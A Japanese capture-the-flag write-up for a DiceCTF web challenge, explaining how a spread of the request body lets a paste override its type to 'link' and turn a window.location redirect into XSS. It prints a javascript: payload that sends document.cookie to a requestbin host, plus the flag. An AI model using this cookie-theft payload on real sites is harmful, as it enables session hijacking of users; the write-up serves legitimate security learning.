XSSが必要になる。
XSSが成立しそうな所を探してみよう。
画面出力部分ではdocument.querySelector('div').textContent = data;
のようにtextContentを使っているので攻めるのは難しそう。
他には…と探すと、view.htmlのif (type === 'link') return window.location = data;
に行き着く。
ここなら行けそう。
typeがlinkとなるのは、Link Shortenerの方であるが、こちらの方はapi.jsの以下部分である。
fastify.post('createLink', { handler: (req, rep) => { const uid = database.generateUid(8); const regex = new RegExp('^https?://');
んー、window.locationならjavascript:を使いたいが、使えなさそうだ…
なんとかならないか…
fastify.post('createPaste', { handler: (req, rep) => { const uid = database.generateUid(8); database.addData({ type: 'paste', ...req.body, uid });
Pastebinの方で使われているAPIが使えそうだ。
こちらならフィルタリングはないので、javascript:は使える。
怪しいのが...req.body
の部分である。
普通はそう実装しないよなぁという部分に怪しさが垣間見える。
スプレッド構文 - JavaScript | MDN
こういう構文であり、pythonにもあったはず。
分解して引数に置き換えてくれる。
typeがpasteとなっているが、overrideできるんじゃないか?
{"data":"pastebin-body"}
こうなっているので、ここにtypeを入れて、攻撃コードを入れ込んでリクエストを送ってみる。
{"data":"javascript:document.location='https://[requestbin]com/test?cookie='+document.cookie", "type":"link"}
ちゃんとreturnが帰ってくる。
{"statusCode":200,"data":"[id]"}
これで/view/[id]
を見てみると、ちゃんとtypeがlinkになっているっぽく、XSS達成できる。
あとは、URLを送ったらCapture the flag.
dice{f1r5t_u53ful_j4v45cr1pt_r3d1r3ct}